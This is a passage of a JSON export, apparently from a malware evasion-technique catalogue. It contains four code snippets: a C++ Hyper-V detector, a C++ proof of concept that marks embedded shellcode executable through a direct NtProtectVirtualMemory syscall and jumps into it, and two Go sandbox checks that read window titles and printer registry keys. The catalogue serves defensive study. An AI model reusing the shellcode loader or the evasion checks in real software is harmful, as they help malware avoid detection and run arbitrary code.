"description": "This C++ program uses the Windows and Intel intrinsic headers to check if it's running in a Microsoft Hyper-V virtual environment. It defines a union called CpuFeaturesEcx, which is used to map out the CPU features reported by the cpuid instruction, specifically the contents of the ECX register. These include various instruction sets, such as SSE3, SMX, and AESNI.\r\n\r\nThe function IsHyperV() uses the __cpuid function intrinsic to get the processor features and checks for the existence of Hyper-V by examining the hypervisor brand identification reported by cpuid with the leaf parameter 0x40000001. If the returned value is more than or equal to 4000, it indicates the presence of Hyper-V.\r\n\r\nIn the main() function, it calls the IsHyperV() function and outputs whether the current environment is a Hyper-V or not. If IsHyperV() returns true, it prints \"Hyper-V True\"; otherwise, it prints \"Hyper-V False\".",
"plain_code": "#include <Windows.h>\r\n#include <iostream>\r\n#include <intrin.h>\r\n\r\n/// See: Feature Information Returned in the ECX Register\r\nunion CpuFeaturesEcx {\r\n ULONG32 all;\r\n struct {\r\n ULONG32 sse3 : 1; //!< [0] Streaming SIMD Extensions 3 (SSE3)\r\n ULONG32 pclmulqdq : 1; //!< [1] PCLMULQDQ\r\n ULONG32 dtes64 : 1; //!< [2] 64-bit DS Area\r\n ULONG32 monitor : 1; //!< [3] MONITOR/WAIT\r\n ULONG32 ds_cpl : 1; //!< [4] CPL qualified Debug Store\r\n ULONG32 vmx : 1; //!< [5] Virtual Machine Technology\r\n ULONG32 smx : 1; //!< [6] Safer Mode Extensions\r\n ULONG32 est : 1; //!< [7] Enhanced Intel Speedstep Technology\r\n ULONG32 tm2 : 1; //!< [8] Thermal monitor 2\r\n ULONG32 ssse3 : 1; //!< [9] Supplemental Streaming SIMD Extensions 3\r\n ULONG32 cid : 1; //!< [10] L1 context ID\r\n ULONG32 sdbg : 1; //!< [11] IA32_DEBUG_INTERFACE MSR\r\n ULONG32 fma : 1; //!< [12] FMA extensions using YMM state\r\n ULONG32 cx16 : 1; //!< [13] CMPXCHG16B\r\n ULONG32 xtpr : 1; //!< [14] xTPR Update Control\r\n ULONG32 pdcm : 1; //!< [15] Performance/Debug capability MSR\r\n ULONG32 reserved : 1; //!< [16] Reserved\r\n ULONG32 pcid : 1; //!< [17] Process-context identifiers\r\n ULONG32 dca : 1; //!< [18] prefetch from a memory mapped device\r\n ULONG32 sse4_1 : 1; //!< [19] SSE4.1\r\n ULONG32 sse4_2 : 1; //!< [20] SSE4.2\r\n ULONG32 x2_apic : 1; //!< [21] x2APIC feature\r\n ULONG32 movbe : 1; //!< [22] MOVBE instruction\r\n ULONG32 popcnt : 1; //!< [23] POPCNT instruction\r\n ULONG32 reserved3 : 1; //!< [24] one-shot operation using a TSC deadline\r\n ULONG32 aes : 1; //!< [25] AESNI instruction\r\n ULONG32 xsave : 1; //!< [26] XSAVE/XRSTOR feature\r\n ULONG32 osxsave : 1; //!< [27] enable XSETBV/XGETBV instructions\r\n ULONG32 avx : 1; //!< [28] AVX instruction extensions\r\n ULONG32 f16c : 1; //!< [29] 16-bit floating-point conversion\r\n ULONG32 rdrand : 1; //!< [30] RDRAND instruction\r\n ULONG32 not_used : 1; //!< [31] Always 0 (a.k.a. HypervisorPresent)\r\n } fields;\r\n};\r\nstatic_assert(sizeof(CpuFeaturesEcx) == 4, \"Size check\");\r\n\r\nconst bool IsHyperV()\r\n{\r\n\tint cpu_info[4] = {};\r\n\t__cpuid(cpu_info, 1);\r\n\tconst CpuFeaturesEcx cpu_features = { static_cast<ULONG_PTR>(cpu_info[2]) };\r\n __cpuid(cpu_info, 0x40000001);\r\n DWORD vid = 0;\r\n vid = (DWORD)cpu_info[0];\r\n return (vid >= 4000);\r\n}\r\n\r\nint main()\r\n{\r\n if (IsHyperV()) {\r\n std::cout << \"Hyper-v Ture\" << std::endl;\r\n }\r\n else {\r\n std::cout << \"Hyper-v Flase\" << std::endl;\r\n }\r\n return 0;\r\n}"
},
{
"id": 194,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 27,
"username": "ghost_pepper108",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/@ghost_pepper108",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/352/?format=api",
"description": "Additional details here: \r\nhttps://github.com/fr0gger/Unprotect_Submission/tree/c105bf119d923d8c5b44e26527fa6bbaf6a02699/techniques/EvasionUsingSyscall",
"plain_code": "//x86_64-w64-mingw32-g++ main.cpp -masm=intel -O0 -o direct_syscalls.exe\r\n// credit to GhostPepper for the original PoC here: https://github.com/ghostpepper108/Evasion\r\n// This is Steve (@tribouletx) version using inline assembly\r\n\r\n#include <windows.h>\r\n#include <stdio.h>\r\n\r\nBYTE payload[] = \r\n\t\"\\x90\\x90\\x90\\x90\\x58\" // these get clobbered by syscall\r\n\t\"\\x48\\x31\\xff\\x48\\xf7\\xe7\\x65\\x48\\x8b\\x58\\x60\\x48\\x8b\\x5b\\x18\\x48\\x8b\\x5b\\x20\\x48\\x8b\\x1b\\x48\\x8b\\x1b\\x48\\x8b\\x5b\\x20\\x49\\x89\\xd8\\x8b\"\r\n \"\\x5b\\x3c\\x4c\\x01\\xc3\\x48\\x31\\xc9\\x66\\x81\\xc1\\xff\\x88\\x48\\xc1\\xe9\\x08\\x8b\\x14\\x0b\\x4c\\x01\\xc2\\x4d\\x31\\xd2\\x44\\x8b\\x52\\x1c\\x4d\\x01\\xc2\"\r\n \"\\x4d\\x31\\xdb\\x44\\x8b\\x5a\\x20\\x4d\\x01\\xc3\\x4d\\x31\\xe4\\x44\\x8b\\x62\\x24\\x4d\\x01\\xc4\\xeb\\x32\\x5b\\x59\\x48\\x31\\xc0\\x48\\x89\\xe2\\x51\\x48\\x8b\"\r\n \"\\x0c\\x24\\x48\\x31\\xff\\x41\\x8b\\x3c\\x83\\x4c\\x01\\xc7\\x48\\x89\\xd6\\xf3\\xa6\\x74\\x05\\x48\\xff\\xc0\\xeb\\xe6\\x59\\x66\\x41\\x8b\\x04\\x44\\x41\\x8b\\x04\"\r\n \"\\x82\\x4c\\x01\\xc0\\x53\\xc3\\x48\\x31\\xc9\\x80\\xc1\\x07\\x48\\xb8\\x0f\\xa8\\x96\\x91\\xba\\x87\\x9a\\x9c\\x48\\xf7\\xd0\\x48\\xc1\\xe8\\x08\\x50\\x51\\xe8\\xb0\"\r\n \"\\xff\\xff\\xff\\x49\\x89\\xc6\\x48\\x31\\xc9\\x48\\xf7\\xe1\\x50\\x48\\xb8\\x9c\\x9e\\x93\\x9c\\xd1\\x9a\\x87\\x9a\\x48\\xf7\\xd0\\x50\\x48\\x89\\xe1\\x48\\xff\\xc2\"\r\n \"\\x48\\x83\\xec\\x20\\x41\\xff\\xd6\\x41\\xFF\\xE7\";\r\n\r\nint main(){\r\n\t\r\n\t// Get current process handle\r\n\tHANDLE hProcess = GetCurrentProcess();\r\n\t\r\n\t// Get payload address\r\n\tPVOID baseAddress = payload;\r\n\t\r\n\t// Get region size\r\n\tSIZE_T regionSize = sizeof(payload);\r\n\t\r\n\t// Print messages\r\n\tprintf(\"Address of baseAddress: %p\\n\", &baseAddress);\r\n\tprintf(\"baseAddress: %p\\n\", baseAddress);\r\n\t\r\n\t// oldProtect, putting this variable inside of main() allocates it on the stack\r\n\t// putting this variable before the inline assembly ensures that it gets passed\r\n\t// to our syscall as the 5th variable to our syscall per the x86_64 convention\r\n\tSIZE_T oldProtect = 0x40;\r\n\t\r\n\t// Call NtProtectVirtualProtect\r\n\tasm(\"mov rcx, %0;\" :: \"m\" (hProcess));\r\n\tasm(\"mov rdx, %0;\" :: \"r\" (&baseAddress));\r\n\tasm(\"mov r8, %0;\" :: \"r\" (®ionSize));\r\n\tasm(\"lea r9, [%0];\" :: \"r\" (PAGE_EXECUTE_READWRITE));\r\n\tasm(\"mov r10,rcx;\"\r\n\t\t\"mov rax, 0x50;\" // syscall number for NtProtectVirtualMemory\r\n\t\t\"syscall\");\r\n\t\r\n\t// Jmp here\r\n\tasm(\"return_main:;\");\r\n\t\r\n\t// Jmp to payload, this works because our payload never touches r15\r\n\tasm(\"lea r15, [rip + return_main_2];\"\r\n\t\t\"jmp rax;\"\r\n\t\t:: \"r\" (baseAddress));\r\n\t\r\n\t// Payload returns here\r\n\tasm(\"return_main_2:\");\r\n\t\r\n\tprintf(\"Sayonara!\\n\");\r\n\t\r\n\treturn 0;\r\n}"
},
{
"id": 193,
"language": {
"id": 4,
"label": "Golang",
"code_class": "golang"
},
"user": {
"id": 26,
"username": "Edode",
"email": "null@localhost",
"linkedin": "https://www.linkedin.com/in/clisandro",
"twitter": "https://twitter.com/Edode_",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/151/?format=api",
"description": "",
"plain_code": "package main\r\n\r\nimport (\r\n\t\"fmt\"\r\n\t\"golang.org/x/sys/windows\"\r\n\t\"syscall\"\r\n\t\"unsafe\"\r\n)\r\n\r\nvar (\r\n\tuser32 = windows.NewLazySystemDLL(\"user32.dll\")\r\n\t// https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getwindowtextw\r\n\tprocGetWindowText = user32.NewProc(\"GetWindowTextW\")\r\n\t// https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getwindowtextlengthw\r\n\tprocGetWindowTextL = user32.NewProc(\"GetWindowTextLengthW\")\r\n)\r\n\r\nfunc getWindowTextLength(windowHandle windows.HWND) int {\r\n\tret, _, _ := procGetWindowTextL.Call(uintptr(windowHandle))\r\n\r\n\treturn int(ret)\r\n}\r\n\r\nfunc getWindowName(fg windows.HWND) string {\r\n\t// +1 to get the last character of the string\r\n\tvar titleBarFullLen = int(getWindowTextLength(fg)) + 1\r\n\r\n\tbuf := make([]uint16, titleBarFullLen)\r\n\tprocGetWindowText.Call(\r\n\t\tuintptr(fg),\r\n\t\tuintptr(unsafe.Pointer(&buf[0])),\r\n\t\tuintptr(titleBarFullLen))\r\n\r\n\treturn syscall.UTF16ToString(buf)\r\n}\r\n\r\nfunc main() {\r\n\tvar foregroundWindowHandle windows.HWND = windows.GetForegroundWindow()\r\n\tvar windowName string = getWindowName(foregroundWindowHandle)\r\n\r\n\tfmt.Println(\"Foreground window handle: \", foregroundWindowHandle)\r\n\tfmt.Println(\"Window name: \", windowName)\r\n}"
},
{
"id": 192,
"language": {
"id": 4,
"label": "Golang",
"code_class": "golang"
},
"user": {
"id": 26,
"username": "Edode",
"email": "null@localhost",
"linkedin": "https://www.linkedin.com/in/clisandro",
"twitter": "https://twitter.com/Edode_",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/37/?format=api",
"description": "",
"plain_code": "package main\r\n\r\nimport (\r\n\t\"fmt\"\r\n\t\"golang.org/x/sys/windows/registry\"\r\n)\r\n\r\nvar (\r\n\tregistryKey = `SYSTEM\\CurrentControlSet\\Control\\Print\\Printers`\r\n)\r\n\r\nfunc getPrintersName() {\r\n\tnewKey, err := registry.OpenKey(registry.LOCAL_MACHINE, registryKey, registry.ENUMERATE_SUB_KEYS)\r\n\tif err != nil {\r\n\t\tfmt.Println(\"Error: \", err)\r\n\t\tpanic(err)\r\n\t}\r\n\r\n\tsubKeyNames, err := newKey.ReadSubKeyNames(-1)\r\n\tif err != nil {\r\n\t\tfmt.Println(\"Error: \", err)\r\n\t\tpanic(err)\r\n\t}\r\n\r\n\tfor i, subKeyName := range subKeyNames {\r\n\t\tfmt.Printf(\"[%d] %s \\n\", i, subKeyName)\r\n\t}\r\n}\r\n\r\nfunc getPrinterCount() {\r\n\tkey, err := registry.OpenKey(registry.LOCAL_MACHINE, registryKey, registry.QUERY_VALUE)\r\n\tif err != nil {\r\n\t\tfmt.Println(\"Error = \", err)\r\n\t\tkey.Close()\r\n\t\tpanic(err)\r\n\t}\r\n\tdefer key.Close()\r\n\r\n\tkeyStat, err := key.Stat()\r\n\tif err != nil {\r\n\t\tfmt.Println(\"Error = \", err)\r\n\t\tpanic(err)\r\n\t}\r\n\tfmt.Println(\"Subkey count = \", keyStat.SubKeyCount)\r\n}\r\n\r\nfunc main() {\r\n\tgetPrinterCount()\r\n\tgetPrintersName()\r\n}"
}
]
}